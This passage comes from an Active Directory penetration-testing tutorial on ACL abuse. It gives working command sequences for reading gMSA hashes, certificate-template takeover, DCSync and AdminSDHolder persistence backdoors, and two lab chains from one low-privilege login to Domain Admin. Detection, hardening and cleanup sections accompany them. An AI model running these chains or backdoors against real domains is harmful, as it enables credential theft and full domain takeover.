Section titled “12a. ReadGMSAPassword — ReadProperty on msDS-ManagedPassword”A group Managed Service Account (gMSA) has its password generated and rotated automatically by the KDC. The current password blob lives in the msDS-ManagedPassword attribute, but AD only returns it to principals listed in msDS-GroupMSAMembership (the PrincipalsAllowedToRetrieveManagedPassword). That membership is enforced by — you guessed it — an ACL. If a principal you control is allowed to retrieve the managed password, you can read the blob and derive the account’s NT hash, then Pass-the-Hash as a service account that is very often highly privileged.
# gMSADumper reads the blob for any gMSA you're allowed to retrievepython3 gMSADumper.py -u lowpriv -p 'Password123!' -d corp.local -l 10.10.10.10Sample output — note it hands you the NT hash directly:
Users or groups who can read password for gmsa_svc$: > svc_managersgmsa_svc$:::a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6gmsa_svc$:::aes256-cts-hmac-sha1-96:6f9d...NetExec has this built in: nxc ldap 10.10.10.10 -u lowpriv -p 'Password123!' --gmsa. Blue team usage: audit msDS-GroupMSAMembership on every gMSA; it should list a tightly-scoped group, never Domain Users or a broad OU-inherited principal. bloodyAD can also grant yourself retrieval if you have write over the gMSA: bloodyAD ... add groupMember-style write to msDS-GroupMSAMembership, which is itself a WriteProperty ACL abuse.
12b. Enrollment and template ACLs (AD CS)
Section titled “12b. Enrollment and template ACLs (AD CS)”If the domain runs Active Directory Certificate Services, certificate templates are AD objects under CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,... — and they have DACLs. Two ACL-driven abuses matter here (the full ESC taxonomy is a chapter of its own, but the ACL angle belongs with the rest of this material):
WriteProperty/GenericWrite/WriteDacl/WriteOwnerover a certificate template (ESC4): you can rewrite the template to make it vulnerable — enableENROLLEE_SUPPLIES_SUBJECT, add the Client Authentication EKU, and grant yourself enroll — turning any template you can edit into an ESC1-style domain-takeover primitive.Enroll(an extended right) on a misconfigured template (ESC1): the enroll right itself is an ACE; combined with a template that lets the enrollee supply an arbitrary Subject Alternative Name, you request a cert as a Domain Admin.
# Certipy finds templates where your principal has dangerous rightscertipy find -u lowpriv@corp.local -p 'Password123!' -dc-ip 10.10.10.10 -vulnerable -stdout# ESC4: overwrite a template's config using WriteDacl/Write over it, then enrollcertipy template -u lowpriv@corp.local -p 'Password123!' -template VulnTemplate -save-oldcertipy req -u lowpriv@corp.local -p 'Password123!' -ca CORP-CA -template VulnTemplate \ -upn administrator@corp.local -dc-ip 10.10.10.10The takeaway that ties it back to this chapter: a certificate template is just another securable AD object, and WriteDacl/WriteOwner/GenericWrite over it are the same primitives from Part 9 applied to a very high-value target.
Part 13: ACL-Based Persistence and Cleanup Discipline
Section titled “Part 13: ACL-Based Persistence and Cleanup Discipline”ACL abuse is not only for escalation — it is the stealthiest persistence mechanism in AD, because a single hidden ACE grants durable access, survives password resets, and looks like configuration rather than malware. Three techniques dominate.
13a. The DCSync backdoor (domain-root ACE)
Section titled “13a. The DCSync backdoor (domain-root ACE)”Covered in Part 10 as an attack; as persistence it is unmatched. Grant a low-value, unwatched principal (a disabled-looking service account, or even a computer you own) the two DS-Replication-Get-Changes* rights on the domain object. You can now DCSync any time to re-derive krbtgt and every hash — no implants, no beacons. The only artefact is the 5136 at grant time and a 4662 at each use; if auditing is not tuned for those GUIDs, it is invisible.
13b. AdminSDHolder abuse — persistence into every protected account at once
Section titled “13b. AdminSDHolder abuse — persistence into every protected account at once”AdminSDHolder is the template object (CN=AdminSDHolder,CN=System,DC=...) whose DACL SDProp copies onto every protected (Tier-0) object every ~60 minutes. Normally that protects those accounts. But if you can write the AdminSDHolder object’s DACL, you add an ACE granting yourself GenericAll, and within an hour SDProp propagates your ACE onto Domain Admins, Enterprise Admins, the built-in Administrator, and every member of every protected group. One write → control of all Tier-0 accounts, and it reasserts itself hourly even if a defender removes your ACE from an individual account.
# Add GenericAll for lowpriv onto the AdminSDHolder template; SDProp does the restAdd-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' ` -PrincipalIdentity 'lowpriv' -Rights All -Verbose# Optionally force SDProp immediately instead of waiting ~60 min (on a DC):# Invoke-ADSDPropagation (or set dSHeuristics / runProtectAdminGroupsTask)Blue team usage: monitor 5136 on CN=AdminSDHolder specifically — writes to it are extremely rare and legitimate ones are attributable to known Tier-0 change windows. Also periodically diff the DACL of protected accounts against a known-good baseline; SDProp will faithfully replicate an attacker’s ACE, so the baseline is your only tell.
13c. Cleanup discipline (mandatory on real engagements)
Section titled “13c. Cleanup discipline (mandatory on real engagements)”Every ACL change you make is a live, exploitable, and auditable modification to a production directory. Leaving them behind is both a client risk and an OPSEC failure. Before you touch anything, record the original state; after you finish, restore it. A minimum checklist:
| You did | You must undo |
|---|---|
dacledit -action write (added ACE) | dacledit -action restore -file <.bak> |
owneredit -action write (changed owner) | Restore original owner SID |
| Added group member | Remove-DomainGroupMember / bloodyAD remove groupMember |
| Wrote an SPN (targeted Kerberoast) | Set-DomainObject -Clear serviceprincipalname |
Added msDS-KeyCredentialLink (Shadow Creds) | pywhisker --action remove / Whisker.exe remove |
| Wrote RBCD attribute | rbcd.py -action remove (or flush) |
| Created a computer account | addcomputer.py -delete |
| Reset a password | Restore original (if known) or coordinate with client |
Report every change in the engagement notes with timestamps so the client’s SOC can verify your activity and distinguish it from a real intruder. The .bak files that dacledit.py/certipy -save-old produce exist precisely so you can prove and reverse what you did.
Part 14: Detection & Defense Angle
Section titled “Part 14: Detection & Defense Angle”ACL abuse is powerful precisely because much of it looks like normal administration. Detection therefore leans on three pillars: auditing the right events, baselining who should hold dangerous rights, and graphing the environment the way attackers do.
Key Windows events
Section titled “Key Windows events”| Event ID | Log / condition | What it catches |
|---|---|---|
| 4662 | DS Access (needs SACL auditing enabled) | An operation on an object — with the replication GUIDs, this is DCSync |
| 5136 | Directory Service Changes | An AD object was modified — watch nTSecurityDescriptor (DACL change / ACL persistence), member, msDS-KeyCredentialLink, msDS-AllowedToActOnBehalfOfOtherIdentity, servicePrincipalName |
| 5137 / 5139 / 5141 | DS Changes | Object created / moved / deleted |
| 4670 | Permissions on an object changed | DACL/owner change on an object |
| 4724 | Account mgmt | Password reset attempt (ForceChangePassword abuse) |
| 4728 / 4729 | Account mgmt | Member added / removed from a global security group |
| 4738 | Account mgmt | User account changed (SPN write, UAC flags) |
| 4741 | Account mgmt | Computer account created (MachineAccountQuota / addcomputer) |
Enabling this requires the “Audit Directory Service Changes” and “Audit Directory Service Access” advanced audit policies and SACL entries on the objects you care about (4662 in particular is silent without an audit ACE on the domain object for the replication rights).
Detecting DCSync specifically
Section titled “Detecting DCSync specifically”The gold-standard Sigma-style logic: event 4662, Properties contains 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (Get-Changes) or 1131f6ad-... (Get-Changes-All), and the SubjectUserName is not a domain controller machine account. Complement with network detection: DsGetNCChanges DRSUAPI RPC calls originating from a host that is not a registered DC.
title: Possible DCSync from non-DC principaldetection: selection: EventID: 4662 Properties|contains: - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' filter: SubjectUserName|endswith: '$' # exclude legit DC machine accounts (refine to known DCs) condition: selection and not filterBaseline and hardening
Section titled “Baseline and hardening”- AdminSDHolder / SDProp: protected groups (Domain/Enterprise/Schema Admins, Account/Backup/Print/Server Operators, and members thereof) have their DACL reset from the
AdminSDHoldertemplate object every ~60 minutes and inheritance disabled (adminCount=1). Any ACE an attacker plants on those objects is reverted — so Tier-0 ACL persistence must target non-protected objects, which is exactly where defenders should audit. Do not weaken AdminSDHolder to “fix” broken delegation. - Least-privilege delegation: replace broad
GenericAll-on-OU delegations with scopedWritePropertyon the specific attributes needed. AuditFind-InterestingDomainAcloutput and BloodHound “Outbound Object Control” from non-Tier-0 principals. - MachineAccountQuota = 0: removes the “any user can create a computer” primitive underpinning RBCD chains.
- Protected Users group + “Account is sensitive and cannot be delegated”: blunts delegation-based abuse of compromised accounts.
- Monitor
msDS-KeyCredentialLinkandmsDS-AllowedToActOnBehalfOfOtherIdentitywrites (5136) — legitimate writes are rare and attributable.
Run BloodHound as the blue team
Section titled “Run BloodHound as the blue team”The single most effective defensive step is to collect with SharpHound and query the same shortest-path-to-DA queries attackers use, then remediate the edges. If BloodHound says Authenticated Users → GenericWrite → Exchange group → ... → Domain Admins, that path exists whether or not an attacker has found it yet.
sequenceDiagram
participant A as Attacker (lowpriv)
participant DC as Domain Controller
participant SOC as SOC / SIEM
A->>DC: dacledit write GenericAll on Domain Admins
DC-->>SOC: Event 5136 (nTSecurityDescriptor modified)
A->>DC: DRSUAPI DsGetNCChanges (DCSync krbtgt)
DC-->>SOC: Event 4662 (Get-Changes GUIDs, non-DC subject)
SOC->>SOC: Correlate 5136 + 4662 from same principal -> ALERT
Part 15: Full Worked Lab — Two Chains to Domain Admin
Section titled “Part 15: Full Worked Lab — Two Chains to Domain Admin”Scope & ethics: this lab assumes a fully isolated, authorised test domain (corp.local, DC 10.10.10.10) that you own or have explicit written permission to attack. Nothing here is safe or lawful against systems you do not control. We start from one low-privilege credential, lowpriv:Password123!, obtained via an earlier foothold.
Step 0 — Map outbound object control
Section titled “Step 0 — Map outbound object control”# Collect for BloodHound from Linuxbloodhound-python -u lowpriv -p 'Password123!' -d corp.local -ns 10.10.10.10 -c All --zip# Or quick manual sweep:bloodyAD --host 10.10.10.10 -d corp.local -u lowpriv -p 'Password123!' get writable --detailOutput (trimmed) reveals two independent primitives:
distinguishedName: CN=IT Support,OU=Groups,DC=corp,DC=local permission: WRITEDACLdistinguishedName: CN=WEB01,OU=Servers,DC=corp,DC=local permission: GENERIC_ALLSo lowpriv has WriteDacl on the IT Support group and GenericAll on the WEB01 computer. And separately, BloodHound shows IT Support is nested inside a group that holds DCSync on the domain. Two paths.
Chain A — WriteDacl on a group → membership → DCSync → Domain Admin
Section titled “Chain A — WriteDacl on a group → membership → DCSync → Domain Admin”# 1. Use WriteDacl to grant ourselves full control over the groupdacledit.py -action write -rights FullControl -principal lowpriv -target 'IT Support' \ corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10[*] DACL backed up to dacledit-20260807-...bak <-- keep this to restore later[*] DACL modified successfully! lowpriv now has FullControl over IT Support# 2. Add ourselves to the group (GenericAll includes WriteProperty member)bloodyAD --host 10.10.10.10 -d corp.local -u lowpriv -p 'Password123!' \ add groupMember 'IT Support' lowpriv[+] lowpriv added to IT Support# 3. IT Support is nested in a group holding replication rights -> DCSync krbtgt# (our token now includes IT Support transitively; re-auth to refresh the TGT)secretsdump.py corp.local/lowpriv:'Password123!'@10.10.10.10 -just-dc-user krbtgtcorp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5e4a...c9f1:::[*] Kerberos keys grabbed# 4. Golden Ticket -> full domain (Chapter 6), or just DCSync the Administrator hash:secretsdump.py corp.local/lowpriv:'Password123!'@10.10.10.10 -just-dc-user Administrator# 5. Pass-the-hash to a DC shellevil-winrm -i 10.10.10.10 -u Administrator -H <admin_nthash># 6. CLEANUP - remove membership and restore the group DACLbloodyAD --host 10.10.10.10 -d corp.local -u lowpriv -p 'Password123!' \ remove groupMember 'IT Support' lowprivdacledit.py -action restore -file dacledit-20260807-...bak \ corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10Chain B — GenericAll on a computer → RBCD → SYSTEM on WEB01
Section titled “Chain B — GenericAll on a computer → RBCD → SYSTEM on WEB01”# 1. Create a computer account we control (MachineAccountQuota default 10)addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'Attack123!' \ corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10[*] Successfully added machine account ATTACKPC$ with password Attack123!.# 2. Configure RBCD on WEB01 delegating to ATTACKPC$ (uses our GenericAll)rbcd.py -delegate-to 'WEB01$' -delegate-from 'ATTACKPC$' -action write \ corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10[*] Delegation rights modified successfully![*] ATTACKPC$ can now impersonate users on WEB01$ via S4U2Proxy# 3. S4U impersonate Administrator to CIFS on WEB01getST.py -spn 'cifs/web01.corp.local' -impersonate Administrator \ corp.local/'ATTACKPC$':'Attack123!' -dc-ip 10.10.10.10export KRB5CCNAME='Administrator@cifs_web01.corp.local@CORP.LOCAL.ccache'# 4. SYSTEM-level action on WEB01secretsdump.py -k -no-pass web01.corp.localpsexec.py -k -no-pass web01.corp.local # interactive SYSTEM shell# 5. CLEANUP - clear the RBCD attribute and remove the computer accountrbcd.py -delegate-to 'WEB01$' -delegate-from 'ATTACKPC$' -action remove \ corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10addcomputer.py -computer-name 'ATTACKPC$' -delete \ corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10Both chains started from a single unprivileged credential and one misconfigured ACE. That is the entire point of ACL abuse.
flowchart LR
L["lowpriv"] -->|WriteDacl| G["IT Support group"]
G -->|add self| M["nested -> DCSync rights"]
M -->|secretsdump krbtgt| DA["Domain Admin / Golden Ticket"]
L -->|GenericAll| C["WEB01$ computer"]
C -->|write RBCD| RB["ATTACKPC$ delegated"]
RB -->|S4U impersonate Admin| SYS["SYSTEM on WEB01"]
Part 16: Final Revision / Summary
Section titled “Part 16: Final Revision / Summary”- Everything securable in AD carries a security descriptor: Owner + DACL (+ SACL). The DACL is a list of ACEs; each ACE = trustee SID + access mask + optional ObjectType GUID + inheritance flags.
- Whole-object rights —
GenericAll,GenericWrite,WriteOwner,WriteDacl— hand you broad control.WriteOwner→become owner→WriteDacl;WriteDacl→grant yourselfGenericAll. - Scoped rights depend on the GUID.
ExtendedRight+User-Force-Change-Password= reset a password;ExtendedRight+ the twoDS-Replication-Get-Changes*GUIDs on the domain root = DCSync.WriteProperty+ thememberGUID = add group members; +servicePrincipalName= targeted Kerberoast; +msDS-KeyCredentialLink= Shadow Credentials; +msDS-AllowedToActOnBehalfOfOtherIdentity= RBCD. - Well-known trustees widen blast radius: an ACE granting a dangerous right to
Authenticated Users/Everyone/Domain Usersis a domain-wide primitive. - Prefer quiet, reversible abuses: Shadow Credentials and targeted Kerberoast over password resets (which fire 4724 and break accounts).
- Inheritance and AdminSDHolder/SDProp shape what sticks: SDProp reverts DACLs on protected objects hourly, so durable ACL persistence targets non-protected objects — often the domain root itself for DCSync.
- Detection hinges on 4662 (replication GUIDs = DCSync), 5136 (
nTSecurityDescriptor,member, key-credential, RBCD attribute writes), 4728/4724/4741, plus running BloodHound defensively.
Part 17: Cheat Sheet / Quick Reference
Section titled “Part 17: Cheat Sheet / Quick Reference”Enumerate (Windows / PowerView):
Get-DomainObjectAcl -Identity <target> -ResolveGUIDsFind-InterestingDomainAcl -ResolveGUIDsGet-DomainObjectAcl -Identity 'DC=corp,DC=local' -ResolveGUIDs | ? {$_.ObjectAceType -match 'Get-Changes'}Enumerate (Linux):
bloodyAD --host DC -d dom -u u -p p get writable --detaildacledit.py -action read -target <obj> -principal '' dom/u:p -dc-ip DCbloodhound-python -u u -p p -d dom -ns DC -c All --zip| Right you hold | On object type | Attack | Command |
|---|---|---|---|
| GenericAll / ForceChangePassword | User | Reset password | Set-DomainUserPassword / bloodyAD set password |
| GenericWrite | User | Targeted Kerberoast | Set-DomainObject -Set @{serviceprincipalname=...} |
| GenericWrite | User | Shadow Credentials | pywhisker --action add → PKINIT |
| GenericAll/Write/WriteProperty(member) / Self | Group | Add member | Add-DomainGroupMember / bloodyAD add groupMember |
| GenericAll/Write | Computer | RBCD → SYSTEM | rbcd.py -action write + getST.py -impersonate |
| ReadProperty(ms-Mcs-AdmPwd) | Computer | Read LAPS | nxc ldap -M laps |
| WriteOwner | Any | Own → then WriteDacl | owneredit.py / Set-DomainObjectOwner |
| WriteDacl | Any | Grant self GenericAll | dacledit.py -rights FullControl / Add-DomainObjectAcl |
| WriteDacl | Domain root | Grant self DCSync | dacledit.py -rights DCSync → secretsdump.py |
| GenericWrite | GPO | Push task/script to OU | pygpoabuse.py / SharpGPOAbuse |
GUIDs to recognise: 1131f6aa/1131f6ad = DCSync · 00299570 = Force-Change-Password · bf9679c0 = member · f3a64788 = Validated-SPN · 3f78c3e5 = LAPS ms-Mcs-AdmPwd.
Key events: 4662 (DCSync GUIDs) · 5136 (DACL/member/keycred/RBCD writes) · 4724 (pwd reset) · 4728/4729 (group member ±) · 4741 (computer created).
Part 18: Common Pitfalls
Section titled “Part 18: Common Pitfalls”- Forgetting to refresh your token/TGT after adding yourself to a group. Group membership is baked into your Kerberos ticket/access token at logon; you must re-authenticate (get a fresh TGT) before the new rights take effect. On Linux, request a new TGT; on Windows, log off/on or use
runas /netonlywith a fresh logon. - Confusing
GenericWritewith password-reset ability.GenericWriteon a user does not grant password reset — that requiresGenericAllor theUser-Force-Change-Passwordextended right. Use targeted Kerberoast / Shadow Credentials instead when you only have GenericWrite. - Attacking protected (adminCount=1) objects and watching your ACE vanish. SDProp reverts DACLs on Tier-0 objects roughly hourly. Your GenericAll on Domain Admins will disappear; membership won’t, but it screams in the SOC.
- Not backing up the DACL/attribute before you change it.
dacledit.pywrites a.bak; keep it. Always restorenTSecurityDescriptor, remove RBCD attributes, delete created computer accounts, and remove added members when the engagement ends. - Leaving a bogus SPN on a user after targeted Kerberoast — clear
servicePrincipalNameafterward or you leave a durable, detectable artifact. - Assuming MachineAccountQuota > 0. Many hardened domains set it to 0; then RBCD needs an existing computer you control or
CreateChild(computer)on an OU. - Reading GUIDs without
-ResolveGUIDsand mistaking a benign attribute-write ACE for a dangerous extended right (or vice versa). Always resolve. - DCSync failing with only one replication right. You typically need both Get-Changes and Get-Changes-All;
-rights DCSyncin dacledit adds both.
Part 19: Practice Labs, Questions & Resources
Section titled “Part 19: Practice Labs, Questions & Resources”Hands-on labs that train exactly this skill:
- HackTheBox — Forest, Sauna, Active, Cascade, Blackfield, Intelligence, Support — chains built on ForceChangePassword, WriteDacl→DCSync, group-membership, RBCD, and Shadow Credentials. Forest in particular is the canonical
Account Operators → GenericAll → Exchange Windows Permissions → WriteDacl on domain → DCSyncpath. - TryHackMe — Attacktive Directory, Enterprise, Post-Exploitation Basics, the Throwback network — ACL and delegation abuse end to end.
- BloodHound + GOAD (Game of Active Directory) — the best self-hosted range for practising ACL path-finding; deliberately seeded with GenericAll/WriteDacl/RBCD misconfigurations across a multi-domain forest.
- Vulnlab (Reset, Baby, etc.) and purple-team labs for ACL persistence and detection practice.
- HackTheBox Academy — the ACL Abuse and DACL Attacks modules walk the PowerView and BloodHound workflow step by step.
Reference reading:
- BloodHound edge documentation (each edge —
GenericAll,GenericWrite,WriteDacl,WriteOwner,AddMember,ForceChangePassword,AllowedToAct,AddKeyCredentialLink,GetChanges/GetChangesAll— has an “abuse info” and “opsec” tab; read them all). - The MS-ADTS docs for security-descriptor structure, and MS-DRSR for the replication rights behind DCSync.
- Tool docs: PowerView, Impacket (
dacledit.py,owneredit.py,rbcd.py,addcomputer.py,secretsdump.py), bloodyAD, pywhisker/Whisker, pyGPOAbuse/SharpGPOAbuse, NetExec.
Self-test questions:
- You hold
GenericWrite(notGenericAll) over a user account. Give two distinct ways to compromise that account without resetting its password, and state which one is quieter and why. - In an ACE, what does the ObjectType GUID determine, and why does the same
ExtendedRightmask mean “reset a password” in one ACE and “replicate the domain” in another? Name the GUIDs. - You have
WriteOwnerbut notWriteDaclon a target. Walk through, step by step, how you turn that into full control, and identify the implicit right that makes it work. - Why does an ACE you plant granting yourself
GenericAllon the Domain Admins group disappear within an hour, while an ACE granting yourself the replication rights on the domain root persists? Which single mechanism explains the difference? - A SIEM analyst wants one detection that catches the use of a DCSync backdoor and another that catches its creation. Which event ID and field values would each rely on, and why is catching the creation preferable?
Discussion
Questions, corrections, or something to add? Comment with your GitHub account.